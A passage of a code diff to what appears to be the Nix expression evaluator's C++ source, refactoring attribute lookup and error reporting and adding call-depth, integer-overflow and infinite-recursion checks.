&state.vEmptyList; + } + return Expr::maybeThunk(state, env); } @@ -1477,33 +1375,32 @@ void ExprSelect::eval(EvalState & state, Env & env, Value & v) state, *this, env, - state.positions[pos2], + state.positions[getPos()], "while evaluating the attribute '%1%'", showAttrPath(state, env, attrPath)) : nullptr; for (auto & i : attrPath) { state.nrLookups++; - Bindings::iterator j; + const Attr * j; auto name = getName(i, state, env); if (def) { state.forceValue(*vAttrs, pos); if (vAttrs->type() != nAttrs || - (j = vAttrs->attrs->find(name)) == vAttrs->attrs->end()) + !(j = vAttrs->attrs()->get(name))) { def->eval(state, env, v); return; } } else { - state.forceAttrs(*vAttrs, pos); - if ((j = vAttrs->attrs->find(name)) == vAttrs->attrs->end()) { + state.forceAttrs(*vAttrs, pos, "while selecting an attribute"); + if (!(j = vAttrs->attrs()->get(name))) { std::set allAttrNames; - for (auto & attr : *vAttrs->attrs) - allAttrNames.insert(state.symbols[attr.name]); - state.throwEvalError( - pos, - Suggestions::bestMatches(allAttrNames, state.symbols[name]), - "attribute '%1%' missing", state.symbols[name], env, *this); + for (auto & attr : *vAttrs->attrs()) + allAttrNames.insert(std::string(state.symbols[attr.name])); + auto suggestions = Suggestions::bestMatches(allAttrNames, state.symbols[name]); + state.error("attribute '%1%' missing", state.symbols[name]) + .atPos(pos).withSuggestions(suggestions).withFrame(env, *this).debugThrow(); } } vAttrs = j->value; @@ -1516,8 +1413,8 @@ void ExprSelect::eval(EvalState & state, Env & env, Value & v) } catch (Error & e) { if (pos2) { auto pos2r = state.positions[pos2]; - auto origin = std::get_if(&pos2r.origin); - if (!(origin && *origin == state.derivationNixPath)) + auto origin = std::get_if(&pos2r.origin); + if (!(origin && *origin == state.derivationInternal)) state.addErrorTrace(e, pos2, "while evaluating the attribute '%1%'", showAttrPath(state, env, attrPath)); } @@ -1527,6 +1424,22 @@ void ExprSelect::eval(EvalState & state, Env & env, Value & v) v = *vAttrs; } +Symbol ExprSelect::evalExceptFinalSelect(EvalState & state, Env & env, Value & attrs) +{ + Value vTmp; + Symbol name = getName(attrPath[attrPath.size() - 1], state, env); + + if (attrPath.size() == 1) { + e->eval(state, env, vTmp); + } else { + ExprSelect init(*this); + init.attrPath.pop_back(); + init.eval(state, env, vTmp); + } + attrs = vTmp; + return name; +} + void ExprOpHasAttr::eval(EvalState & state, Env & env, Value & v) { @@ -1536,16 +1449,16 @@ void ExprOpHasAttr::eval(EvalState & state, Env & env, Value & v) e->eval(state, env, vTmp); for (auto & i : attrPath) { - state.forceValue(*vAttrs, noPos); - Bindings::iterator j; + state.forceValue(*vAttrs, getPos()); + const Attr * j; auto name = getName(i, state, env); - if (vAttrs->type() != nAttrs || - (j = vAttrs->attrs->find(name)) == vAttrs->attrs->end()) + if (vAttrs->type() == nAttrs && + (j = vAttrs->attrs()->get(name))) { + vAttrs = j->value; + } else { v.mkBool(false); return; - } else { - vAttrs = j->value; } } @@ -1558,10 +1471,28 @@ void ExprLambda::eval(EvalState & state, Env & env, Value & v) v.mkLambda(&env, this); } +namespace { +/** Increments a count on construction and decrements on destruction. + */ +class CallDepth { + size_t & count; +public: + CallDepth(size_t & count) : count(count) { + ++count; + } + ~CallDepth() { + --count; + } +}; +}; void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & vRes, const PosIdx pos) { - auto trace = evalSettings.traceFunctionCalls + if (callDepth > settings.maxCallDepth) + error("stack overflow; max-call-depth exceeded").atPos(pos).debugThrow(); + CallDepth _level(callDepth); + + auto trace = settings.traceFunctionCalls ? std::make_unique(positions[pos]) : nullptr; @@ -1579,26 +1510,31 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & } }; - Attr * functor; + const Attr * functor; while (nrArgs > 0) { if (vCur.isLambda()) { - ExprLambda & lambda(*vCur.lambda.fun); + ExprLambda & lambda(*vCur.payload.lambda.fun); auto size = (!lambda.arg ? 0 : 1) + (lambda.hasFormals() ? lambda.formals->formals.size() : 0); Env & env2(allocEnv(size)); - env2.up = vCur.lambda.env; + env2.up = vCur.payload.lambda.env; Displacement displ = 0; if (!lambda.hasFormals()) env2.values[displ++] = args[0]; else { - forceAttrs(*args[0], pos); + try { + forceAttrs(*args[0], lambda.pos, "while evaluating the value passed for the lambda argument"); + } catch (Error & e) { + if (pos) e.addTrace(positions[pos], "from call site"); + throw; + } if (lambda.arg) env2.values[displ++] = args[0]; @@ -1608,10 +1544,17 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & argument has a default, use the default. */ size_t attrsUsed = 0; for (auto & i : lambda.formals->formals) { - auto j = args[0]->attrs->get(i.name); + auto j = args[0]->attrs()->get(i.name); if (!j) { - if (!i.def) throwTypeError(pos, "%1% called without required argument '%2%'", - lambda, i.name, *fun.lambda.env, lambda); + if (!i.def) { + error("function '%1%' called without required argument '%2%'", + (lambda.name ? std::string(symbols[lambda.name]) : "anonymous lambda"), + symbols[i.name]) + .atPos(lambda.pos) + .withTrace(pos, "from call site") + .withFrame(*fun.payload.lambda.env, lambda) + .debugThrow(); + } env2.values[displ++] = i.def->maybeThunk(*this, env2); } else { attrsUsed++; @@ -1621,21 +1564,25 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & /* Check that each actual argument is listed as a formal argument (unless the attribute match specifies a `...'). */ - if (!lambda.formals->ellipsis && attrsUsed != args[0]->attrs->size()) { + if (!lambda.formals->ellipsis && attrsUsed != args[0]->attrs()->size()) { /* Nope, so show the first unexpected argument to the user. */ - for (auto & i : *args[0]->attrs) + for (auto & i : *args[0]->attrs()) if (!lambda.formals->has(i.name)) { std::set formalNames; for (auto & formal : lambda.formals->formals) - formalNames.insert(symbols[formal.name]); - throwTypeError( - pos, - Suggestions::bestMatches(formalNames, symbols[i.name]), - "%1% called with unexpected argument '%2%'", - lambda, i.name, *fun.lambda.env, lambda); + formalNames.insert(std::string(symbols[formal.name])); + auto suggestions = Suggestions::bestMatches(formalNames, symbols[i.name]); + error("function '%1%' called with unexpected argument '%2%'", + (lambda.name ? std::string(symbols[lambda.name]) : "anonymous lambda"), + symbols[i.name]) + .atPos(lambda.pos) + .withTrace(pos, "from call site") + .withSuggestions(suggestions) + .withFrame(*fun.payload.lambda.env, lambda) + .debugThrow(); } - abort(); // can't happen + unreachable(); } } @@ -1656,11 +1603,14 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & lambda.body->eval(*this, env2, vCur); } catch (Error & e) { if (loggerSettings.showTrace.get()) { - addErrorTrace(e, lambda.pos, "while calling %s", - (lambda.name - ? concatStrings("'", symbols[lambda.name], "'") - : "anonymous lambda")); - addErrorTrace(e, pos, "while evaluating call site%s", ""); + addErrorTrace( + e, + lambda.pos, + "while calling %s", + lambda.name + ? concatStrings("'", symbols[lambda.name], "'") + : "anonymous lambda"); + if (pos) addErrorTrace(e, pos, "from call site"); } throw; } @@ -1671,7 +1621,7 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & else if (vCur.isPrimOp()) { - size_t argsLeft = vCur.primOp->arity; + size_t argsLeft = vCur.primOp()->arity; if (nrArgs < argsLeft) { /* We don't have enough arguments, so create a tPrimOpApp chain. */ @@ -1679,9 +1629,18 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & return; } else { /* We have all the arguments, so call the primop. */ + auto * fn = vCur.primOp(); + nrPrimOpCalls++; - if (countCalls) primOpCalls[vCur.primOp->name]++; - vCur.primOp->fun(*this, pos, args, vCur); + if (countCalls) primOpCalls[fn->name]++; + + try { + fn->fun(*this, vCur.determinePos(noPos), args, vCur); + } catch (Error & e) { + if (fn->addTrace) + addErrorTrace(e, pos, "while calling the '%1%' builtin", fn->name); + throw; + } nrArgs -= argsLeft; args += argsLeft; @@ -1694,10 +1653,10 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & Value * primOp = &vCur; while (primOp->isPrimOpApp()) { argsDone++; - primOp = primOp->primOpApp.left; + primOp = primOp->payload.primOpApp.left; } assert(primOp->isPrimOp()); - auto arity = primOp->primOp->arity; + auto arity = primOp->primOp()->arity; auto argsLeft = arity - argsDone; if (nrArgs < argsLeft) { @@ -1708,37 +1667,58 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & /* We have all the arguments, so call the primop with the previous and new arguments. */ - Value * vArgs[arity]; + Value * vArgs[maxPrimOpArity]; auto n = argsDone; - for (Value * arg = &vCur; arg->isPrimOpApp(); arg = arg->primOpApp.left) - vArgs[--n] = arg->primOpApp.right; + for (Value * arg = &vCur; arg->isPrimOpApp(); arg = arg->payload.primOpApp.left) + vArgs[--n] = arg->payload.primOpApp.right; for (size_t i = 0; i < argsLeft; ++i) vArgs[argsDone + i] = args[i]; + auto fn = primOp->primOp(); nrPrimOpCalls++; - if (countCalls) primOpCalls[primOp->primOp->name]++; - primOp->primOp->fun(*this, pos, vArgs, vCur); + if (countCalls) primOpCalls[fn->name]++; + + try { + // TODO: + // 1. Unify this and above code. Heavily redundant. + // 2. Create a fake env (arg1, arg2, etc.) and a fake expr (arg1: arg2: etc: builtins.name arg1 arg2 etc) + // so the debugger allows to inspect the wrong parameters passed to the builtin. + fn->fun(*this, vCur.determinePos(noPos), vArgs, vCur); + } catch (Error & e) { + if (fn->addTrace) + addErrorTrace(e, pos, "while calling the '%1%' builtin", fn->name); + throw; + } nrArgs -= argsLeft; args += argsLeft; } } - else if (vCur.type() == nAttrs && (functor = vCur.attrs->get(sFunctor))) { + else if (vCur.type() == nAttrs && (functor = vCur.attrs()->get(sFunctor))) { /* 'vCur' may be allocated on the stack of the calling function, but for functors we may keep a reference, so heap-allocate a copy and use that instead. */ Value * args2[] = {allocValue(), args[0]}; *args2[0] = vCur; - /* !!! Should we use the attr pos here? */ - callFunction(*functor->value, 2, args2, vCur, pos); + try { + callFunction(*functor->value, 2, args2, vCur, functor->pos); + } catch (Error & e) { + e.addTrace(positions[pos], "while calling a functor (an attribute set with a '__functor' attribute)"); + throw; + } nrArgs--; args++; } else - throwTypeError(pos, "attempt to call something which is not a function but %1%", vCur); + error( + "attempt to call something which is not a function but %1%: %2%", + showType(vCur), + ValuePrinter(*this, vCur, errorPrintOptions)) + .atPos(pos) + .debugThrow(); } vRes = vCur; @@ -1747,14 +1727,32 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & void ExprCall::eval(EvalState & state, Env & env, Value & v) { + auto dts = state.debugRepl + ? makeDebugTraceStacker( + state, + *this, + env, + getPos() + ? std::make_shared(state.positions[getPos()]) + : nullptr, + "while calling a function" + ) + : nullptr; + Value vFun; fun->eval(state, env, vFun); - Value * vArgs[args.size()]; + // Empirical arity of Nixpkgs lambdas by regex e.g. ([a-zA-Z]+:(\s|(/\*.*\/)|(#.*\n))*){5} + // 2: over 4000 + // 3: about 300 + // 4: about 60 + // 5: under 10 + // This excluded attrset lambdas (`{...}:`). Contributions of mixed lambdas appears insignificant at ~150 total. + SmallValueVector<4> vArgs(args.size()); for (size_t i = 0; i < args.size(); ++i) vArgs[i] = args[i]->maybeThunk(state, env); - state.callFunction(vFun, args.size(), vArgs, v, pos); + state.callFunction(vFun, args.size(), vArgs.data(), v, pos); } @@ -1773,8 +1771,8 @@ void EvalState::autoCallFunction(Bindings & args, Value & fun, Value & res) forceValue(fun, pos); if (fun.type() == nAttrs) { - auto found = fun.attrs->find(sFunctor); - if (found != fun.attrs->end()) { + auto found = fun.attrs()->find(sFunctor); + if (found != fun.attrs()->end()) { Value * v = allocValue(); callFunction(*found->value, fun, *v, pos); forceValue(*v, pos); @@ -1782,14 +1780,14 @@ void EvalState::autoCallFunction(Bindings & args, Value & fun, Value & res) } } - if (!fun.isLambda() || !fun.lambda.fun->hasFormals()) { + if (!fun.isLambda() || !fun.payload.lambda.fun->hasFormals()) { res = fun; return; } - auto attrs = buildBindings(std::max(static_cast(fun.lambda.fun->formals->formals.size()), args.size())); + auto attrs = buildBindings(std::max(static_cast(fun.payload.lambda.fun->formals->formals.size()), args.size())); - if (fun.lambda.fun->formals->ellipsis) { + if (fun.payload.lambda.fun->formals->ellipsis) { // If the formals have an ellipsis (eg the function accepts extra args) pass // all available automatic arguments (which includes arguments specified on // the command line via --arg/--argstr) @@ -1797,23 +1795,22 @@ void EvalState::autoCallFunction(Bindings & args, Value & fun, Value & res) attrs.insert(v); } else { // Otherwise, only pass the arguments that the function accepts - for (auto & i : fun.lambda.fun->formals->formals) { - Bindings::iterator j = args.find(i.name); - if (j != args.end()) { + for (auto & i : fun.payload.lambda.fun->formals->formals) { + auto j = args.get(i.name); + if (j) { attrs.insert(*j); } else if (!i.def) { - throwMissingArgumentError(i.pos, R"(cannot evaluate a function that has an argument without a value ('%1%') - + error(R"(cannot evaluate a function that has an argument without a value ('%1%') Nix attempted to evaluate a function as a top level expression; in this case it must have its arguments supplied either by default values, or passed explicitly with '--arg' or '--argstr'. See -https://nixos.org/manual/nix/stable/language/constructs.html#functions.)", symbols[i.name], - *fun.lambda.env, *fun.lambda.fun); +https://nixos.org/manual/nix/stable/language/constructs.html#functions.)", symbols[i.name]) + .atPos(i.pos).withFrame(*fun.payload.lambda.env, *fun.payload.lambda.fun).debugThrow(); } } } - callFunction(fun, allocValue()->mkAttrs(attrs), res, noPos); + callFunction(fun, allocValue()->mkAttrs(attrs), res, pos); } @@ -1821,9 +1818,7 @@ void ExprWith::eval(EvalState & state, Env & env, Value & v) { Env & env2(state.allocEnv(1)); env2.up = &env; - env2.prevWith = prevWith; - env2.type = Env::HasWithExpr; - env2.values[0] = (Value *) attrs; + env2.values[0] = attrs->maybeThunk(state, env); body->eval(state, env2, v); } @@ -1831,16 +1826,32 @@ void ExprWith::eval(EvalState & state, Env & env, Value & v) void ExprIf::eval(EvalState & state, Env & env, Value & v) { - (state.evalBool(env, cond, pos) ? then : else_)->eval(state, env, v); + // We cheat in the parser, and pass the position of the condition as the position of the if itself. + (state.evalBool(env, cond, pos, "while evaluating a branch condition") ? then : else_)->eval(state, env, v); } void ExprAssert::eval(EvalState & state, Env & env, Value & v) { - if (!state.evalBool(env, cond, pos)) { - std::ostringstream out; - cond->show(state.symbols, out); - state.throwAssertionError(pos, "assertion '%1%' failed", out.str(), env, *this); + if (!state.evalBool(env, cond, pos, "in the condition of the assert statement")) { + auto exprStr = ({ + std::ostringstream out; + cond->show(state.symbols, out); + out.str(); + }); + + if (auto eq = dynamic_cast(cond)) { + try { + Value v1; eq->e1->eval(state, env, v1); + Value v2; eq->e2->eval(state, env, v2); + state.assertEqValues(v1, v2, eq->pos, "in an equality assertion"); + } catch (AssertionError & e) { + e.addTrace(state.positions[pos], "while evaluating the condition of the assertion '%s'", exprStr); + throw; + } + } + + state.error("assertion '%1%' failed", exprStr).atPos(pos).withFrame(env, *this).debugThrow(); } body->eval(state, env, v); } @@ -1848,7 +1859,7 @@ void ExprAssert::eval(EvalState & state, Env & env, Value & v) void ExprOpNot::eval(EvalState & state, Env & env, Value & v) { - v.mkBool(!state.evalBool(env, e)); + v.mkBool(!state.evalBool(env, e, getPos(), "in the argument of the not operator")); // XXX: FIXME: ! } @@ -1856,7 +1867,7 @@ void ExprOpEq::eval(EvalState & state, Env & env, Value & v) { Value v1; e1->eval(state, env, v1); Value v2; e2->eval(state, env, v2); - v.mkBool(state.eqValues(v1, v2)); + v.mkBool(state.eqValues(v1, v2, pos, "while testing two values for equality")); } @@ -1864,47 +1875,47 @@ void ExprOpNEq::eval(EvalState & state, Env & env, Value & v) { Value v1; e1->eval(state, env, v1); Value v2; e2->eval(state, env, v2); - v.mkBool(!state.eqValues(v1, v2)); + v.mkBool(!state.eqValues(v1, v2, pos, "while testing two values for inequality")); } void ExprOpAnd::eval(EvalState & state, Env & env, Value & v) { - v.mkBool(state.evalBool(env, e1, pos) && state.evalBool(env, e2, pos)); + v.mkBool(state.evalBool(env, e1, pos, "in the left operand of the AND (&&) operator") && state.evalBool(env, e2, pos, "in the right operand of the AND (&&) operator")); } void ExprOpOr::eval(EvalState & state, Env & env, Value & v) { - v.mkBool(state.evalBool(env, e1, pos) || state.evalBool(env, e2, pos)); + v.mkBool(state.evalBool(env, e1, pos, "in the left operand of the OR (||) operator") || state.evalBool(env, e2, pos, "in the right operand of the OR (||) operator")); } void ExprOpImpl::eval(EvalState & state, Env & env, Value & v) { - v.mkBool(!state.evalBool(env, e1, pos) || state.evalBool(env, e2, pos)); + v.mkBool(!state.evalBool(env, e1, pos, "in the left operand of the IMPL (->) operator") || state.evalBool(env, e2, pos, "in the right operand of the IMPL (->) operator")); } void ExprOpUpdate::eval(EvalState & state, Env & env, Value & v) { Value v1, v2; - state.evalAttrs(env, e1, v1); - state.evalAttrs(env, e2, v2); + state.evalAttrs(env, e1, v1, pos, "in the left operand of the update (//) operator"); + state.evalAttrs(env, e2, v2, pos, "in the right operand of the update (//) operator"); state.nrOpUpdates++; - if (v1.attrs->size() == 0) { v = v2; return; } - if (v2.attrs->size() == 0) { v = v1; return; } + if (v1.attrs()->size() == 0) { v = v2; return; } + if (v2.attrs()->size() == 0) { v = v1; return; } - auto attrs = state.buildBindings(v1.attrs->size() + v2.attrs->size()); + auto attrs = state.buildBindings(v1.attrs()->size() + v2.attrs()->size()); /* Merge the sets, preferring values from the second set. Make sure to keep the resulting vector in sorted order. */ - Bindings::iterator i = v1.attrs->begin(); - Bindings::iterator j = v2.attrs->begin(); + auto i = v1.attrs()->begin(); + auto j = v2.attrs()->begin(); - while (i != v1.attrs->end() && j != v2.attrs->end()) { + while (i != v1.attrs()->end() && j != v2.attrs()->end()) { if (i->name == j->name) { attrs.insert(*j); ++i; ++j; @@ -1915,12 +1926,12 @@ void ExprOpUpdate::eval(EvalState & state, Env & env, Value & v) attrs.insert(*j++); } - while (i != v1.attrs->end()) attrs.insert(*i++); - while (j != v2.attrs->end()) attrs.insert(*j++); + while (i != v1.attrs()->end()) attrs.insert(*i++); + while (j != v2.attrs()->end()) attrs.insert(*j++); v.mkAttrs(attrs.alreadySorted()); - state.nrOpUpdateValuesCopied += v.attrs->size(); + state.nrOpUpdateValuesCopied += v.attrs()->size(); } @@ -1929,18 +1940,18 @@ void ExprOpConcatLists::eval(EvalState & state, Env & env, Value & v) Value v1; e1->eval(state, env, v1); Value v2; e2->eval(state, env, v2); Value * lists[2] = { &v1, &v2 }; - state.concatLists(v, 2, lists, pos); + state.concatLists(v, 2, lists, pos, "while evaluating one of the elements to concatenate"); } -void EvalState::concatLists(Value & v, size_t nrLists, Value * * lists, const PosIdx pos) +void EvalState::concatLists(Value & v, size_t nrLists, Value * const * lists, const PosIdx pos, std::string_view errorCtx) { nrListConcats++; Value * nonEmpty = 0; size_t len = 0; for (size_t n = 0; n < nrLists; ++n) { - forceList(*lists[n], pos); + forceList(*lists[n], pos, errorCtx); auto l = lists[n]->listSize(); len += l; if (l) nonEmpty = lists[n]; @@ -1951,23 +1962,24 @@ void EvalState::concatLists(Value & v, size_t nrLists, Value * * lists, const Po return; } - mkList(v, len); - auto out = v.listElems(); + auto list = buildList(len); + auto out = list.elems; for (size_t n = 0, pos = 0; n < nrLists; ++n) { auto l = lists[n]->listSize(); if (l) memcpy(out + pos, lists[n]->listElems(), l * sizeof(Value *)); pos += l; } + v.mkList(list); } void ExprConcatStrings::eval(EvalState & state, Env & env, Value & v) { - PathSet context; + NixStringContext context; std::vector s; size_t sSize = 0; - NixInt n = 0; + NixInt n{0}; NixFloat nf = 0; bool first = !forceString; @@ -1993,8 +2005,9 @@ void ExprConcatStrings::eval(EvalState & state, Env & env, Value & v) return result; }; - Value values[es->size()]; - Value * vTmpP = values; + // List of returned strings. References to these Values must NOT be persisted. + SmallTemporaryValueVector values(es->size()); + Value * vTmpP = values.data(); for (auto & [i_pos, i] : *es) { Value & vTmp = *vTmpP++; @@ -2010,27 +2023,34 @@ void ExprConcatStrings::eval(EvalState & state, Env & env, Value & v) if (firstType == nInt) { if (vTmp.type() == nInt) { - n += vTmp.integer; + auto newN = n + vTmp.integer(); + if (auto checked = newN.valueChecked(); checked.has_value()) { + n = NixInt(*checked); + } else { + state.error("integer overflow in adding %1% + %2%", n, vTmp.integer()).atPos(i_pos).debugThrow(); + } } else if (vTmp.type() == nFloat) { // Upgrade the type from int to float; firstType = nFloat; - nf = n; - nf += vTmp.fpoint; + nf = n.value; + nf += vTmp.fpoint(); } else - state.throwEvalError(i_pos, "cannot add %1% to an integer", showType(vTmp), env, *this); + state.error("cannot add %1% to an integer", showType(vTmp)).atPos(i_pos).withFrame(env, *this).debugThrow(); } else if (firstType == nFloat) { if (vTmp.type() == nInt) { - nf += vTmp.integer; + nf += vTmp.integer().value; } else if (vTmp.type() == nFloat) { - nf += vTmp.fpoint; + nf += vTmp.fpoint(); } else - state.throwEvalError(i_pos, "cannot add %1% to a float", showType(vTmp), env, *this); + state.error("cannot add %1% to a float", showType(vTmp)).atPos(i_pos).withFrame(env, *this).debugThrow(); } else { if (s.empty()) s.reserve(es->size()); /* skip canonization of first path, which would only be not canonized in the first place if it's coming from a ./${foo} type path */ - auto part = state.coerceToString(i_pos, vTmp, context, false, firstType == nString, !first); + auto part = state.coerceToString(i_pos, vTmp, context, + "while evaluating a path segment", + false, firstType == nString, !first); sSize += part->size(); s.emplace_back(std::move(part)); } @@ -2044,8 +2064,8 @@ void ExprConcatStrings::eval(EvalState & state, Env & env, Value & v) v.mkFloat(nf); else if (firstType == nPath) { if (!context.empty()) - state.throwEvalError(pos, "a string that refers to a store path cannot be appended to a path", env, *this); - v.mkPath(canonPath(str())); + state.error("a string that refers to a store path cannot be appended to a path").atPos(pos).withFrame(env, *this).debugThrow(); + v.mkPath(state.rootPath(CanonPath(canonPath(str())))); } else v.mkStringMove(c_str(), context); } @@ -2057,6 +2077,30 @@ void ExprPos::eval(EvalState & state, Env & env, Value & v) } +void ExprBlackHole::eval(EvalState & state, Env & env, Value & v) +{ + state.error("infinite recursion encountered") + .atPos(v.determinePos(noPos)) + .debugThrow(); +} + +// always force this to be separate, otherwise forceValue may inline it and take +// a massive perf hit +[[gnu::noinline]] +void EvalState::tryFixupBlackHolePos(Value & v, PosIdx pos) +{ + if (!v.isBlackhole()) + return; + auto e = std::current_exception(); + try { + std::rethrow_exception(e); + } catch (InfiniteRecursionError & e) { + e.atPos(positions[pos]); + } catch (...) { + } +} + + void EvalState::forceValueDeep(Value & v) { std::set seen; @@ -2066,14 +2110,14 @@ void EvalState::forceValueDeep(Value & v) recurse = [&](Value & v) { if (!seen.insert(&v).second) return; - forceValue(v, [&]() { return v.determinePos(noPos); }); + forceValue(v, v.determinePos(noPos)); if (v.type() == nAttrs) { - for (auto & i : *v.attrs) + for (auto & i : *v.attrs()) try { // If the value is a thunk, we're evaling. Otherwise no trace necessary. auto dts = debugRepl && i.value->isThunk() - ? makeDebugTraceStacker(*this, *i.value->thunk.expr, *i.value->thunk.env, positions[i.pos], + ? makeDebugTraceStacker(*this, *i.value->payload.thunk.expr, *i.value->payload.thunk.env, positions[i.pos], "while evaluating the attribute '%1%'", symbols[i.name]) : nullptr; @@ -2094,118 +2138,128 @@ void EvalState::forceValueDeep(Value & v) } -NixInt EvalState::forceInt(Value & v, const PosIdx pos) +NixInt EvalState::forceInt(Value & v, const PosIdx pos, std::string_view errorCtx) { - forceValue(v, pos); - if (v.type() != nInt) - throwTypeError(pos, "value is %1% while an integer was expected", v); + try { + forceValue(v, pos); + if (v.type() != nInt) + error( + "expected an integer but found %1%: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ).atPos(pos).debugThrow(); + return v.integer(); + } catch (Error & e) { + e.addTrace(positions[pos], errorCtx); + throw; + } - return v.integer; + return v.integer(); } -NixFloat EvalState::forceFloat(Value & v, const PosIdx pos) +NixFloat EvalState::forceFloat(Value & v, const PosIdx pos, std::string_view errorCtx) { - forceValue(v, pos); - if (v.type() == nInt) - return v.integer; - else if (v.type() != nFloat) - throwTypeError(pos, "value is %1% while a float was expected", v); - return v.fpoint; + try { + forceValue(v, pos); + if (v.type() == nInt) + return v.integer().value; + else if (v.type() != nFloat) + error( + "expected a float but found %1%: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ).atPos(pos).debugThrow(); + return v.fpoint(); + } catch (Error & e) { + e.addTrace(positions[pos], errorCtx); + throw; + } } -bool EvalState::forceBool(Value & v, const PosIdx pos) +bool EvalState::forceBool(Value & v, const PosIdx pos, std::string_view errorCtx) { - forceValue(v, pos); - if (v.type() != nBool) - throwTypeError(pos, "value is %1% while a Boolean was expected", v); - return v.boolean; + try { + forceValue(v, pos); + if (v.type() != nBool) + error( + "expected a Boolean but found %1%: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ).atPos(pos).debugThrow(); + return v.boolean(); + } catch (Error & e) { + e.addTrace(positions[pos], errorCtx); + throw; + } + + return v.boolean(); } bool EvalState::isFunctor(Value & fun) { - return fun.type() == nAttrs && fun.attrs->find(sFunctor) != fun.attrs->end(); + return fun.type() == nAttrs && fun.attrs()->find(sFunctor) != fun.attrs()->end(); } -void EvalState::forceFunction(Value & v, const PosIdx pos) +void EvalState::forceFunction(Value & v, const PosIdx pos, std::string_view errorCtx) { - forceValue(v, pos); - if (v.type() != nFunction && !isFunctor(v)) - throwTypeError(pos, "value is %1% while a function was expected", v); -} - - -std::string_view EvalState::forceString(Value & v, const PosIdx pos) -{ - forceValue(v, pos); - if (v.type() != nString) { - throwTypeError(pos, "value is %1% while a string was expected", v); + try { + forceValue(v, pos); + if (v.type() != nFunction && !isFunctor(v)) + error( + "expected a function but found %1%: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ).atPos(pos).debugThrow(); + } catch (Error & e) { + e.addTrace(positions[pos], errorCtx); + throw; } - return v.string.s; } -/* Decode a context string ‘!!’ into a pair . */ -NixStringContextElem decodeContext(const Store & store, std::string_view s) +std::string_view EvalState::forceString(Value & v, const PosIdx pos, std::string_view errorCtx) { - if (s.at(0) == '!') { - size_t index = s.find("!", 1); - return { - store.parseStorePath(s.substr(index + 1)), - std::string(s.substr(1, index - 1)), - }; - } else - return { - store.parseStorePath( - s.at(0) == '/' - ? s - : s.substr(1)), - "", - }; + try { + forceValue(v, pos); + if (v.type() != nString) + error( + "expected a string but found %1%: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ).atPos(pos).debugThrow(); + return v.string_view(); + } catch (Error & e) { + e.addTrace(positions[pos], errorCtx); + throw; + } } -void copyContext(const Value & v, PathSet & context) +void copyContext(const Value & v, NixStringContext & context) { - if (v.string.context) - for (const char * * p = v.string.context; *p; ++p) - context.insert(*p); + if (v.payload.string.context) + for (const char * * p = v.payload.string.context; *p; ++p) + context.insert(NixStringContextElem::parse(*p)); } -NixStringContext Value::getContext(const Store & store) +std::string_view EvalState::forceString(Value & v, NixStringContext & context, const PosIdx pos, std::string_view errorCtx) { - NixStringContext res; - assert(internalType == tString); - if (string.context) - for (const char * * p = string.context; *p; ++p) - res.push_back(decodeContext(store, *p)); - return res; -} - - -std::string_view EvalState::forceString(Value & v, PathSet & context, const PosIdx pos) -{ - auto s = forceString(v, pos); + auto s = forceString(v, pos, errorCtx); copyContext(v, context); return s; } -std::string_view EvalState::forceStringNoCtx(Value & v, const PosIdx pos) +std::string_view EvalState::forceStringNoCtx(Value & v, const PosIdx pos, std::string_view errorCtx) { - auto s = forceString(v, pos); - if (v.string.context) { - if (pos) - throwEvalError(pos, "the string '%1%' is not allowed to refer to a store path (such as '%2%')", - v.string.s, v.string.context[0]); - else - throwEvalError("the string '%1%' is not allowed to refer to a store path (such as '%2%')", - v.string.s, v.string.context[0]); + auto s = forceString(v, pos, errorCtx); + if (v.context()) { + error("the string '%1%' is not allowed to refer to a store path (such as '%2%')", v.string_view(), v.context()[0]).withTrace(pos, errorCtx).debugThrow(); } return s; } @@ -2214,134 +2268,463 @@ std::string_view EvalState::forceStringNoCtx(Value & v, const PosIdx pos) bool EvalState::isDerivation(Value & v) { if (v.type() != nAttrs) return false; - Bindings::iterator i = v.attrs->find(sType); - if (i == v.attrs->end()) return false; + auto i = v.attrs()->get(sType); + if (!i) return false; forceValue(*i->value, i->pos); if (i->value->type() != nString) return false; - return strcmp(i->value->string.s, "derivation") == 0; + return i->value->string_view().compare("derivation") == 0; } std::optional EvalState::tryAttrsToString(const PosIdx pos, Value & v, - PathSet & context, bool coerceMore, bool copyToStore) + NixStringContext & context, bool coerceMore, bool copyToStore) { - auto i = v.attrs->find(sToString); - if (i != v.attrs->end()) { + auto i = v.attrs()->find(sToString); + if (i != v.attrs()->end()) { Value v1; callFunction(*i->value, v, v1, pos); - return coerceToString(pos, v1, context, coerceMore, copyToStore).toOwned(); + return coerceToString(pos, v1, context, + "while evaluating the result of the `__toString` attribute", + coerceMore, copyToStore).toOwned(); } return {}; } -BackedStringView EvalState::coerceToString(const PosIdx pos, Value & v, PathSet & context, - bool coerceMore, bool copyToStore, bool canonicalizePath) +BackedStringView EvalState::coerceToString( + const PosIdx pos, + Value & v, + NixStringContext & context, + std::string_view errorCtx, + bool coerceMore, + bool copyToStore, + bool canonicalizePath) { forceValue(v, pos); if (v.type() == nString) { copyContext(v, context); - return std::string_view(v.string.s); + return v.string_view(); } if (v.type() == nPath) { - BackedStringView path(PathView(v.path)); - if (canonicalizePath) - path = canonPath(*path); - if (copyToStore) - path = copyPathToStore(context, std::move(path).toOwned()); - return path; + return + !canonicalizePath && !copyToStore + ? // FIXME: hack to preserve path literals that end in a + // slash, as in /foo/${x}. + v.payload.path.path + : copyToStore + ? store->printStorePath(copyPathToStore(context, v.path())) + : std::string(v.path().path.abs()); } if (v.type() == nAttrs) { auto maybeString = tryAttrsToString(pos, v, context, coerceMore, copyToStore); if 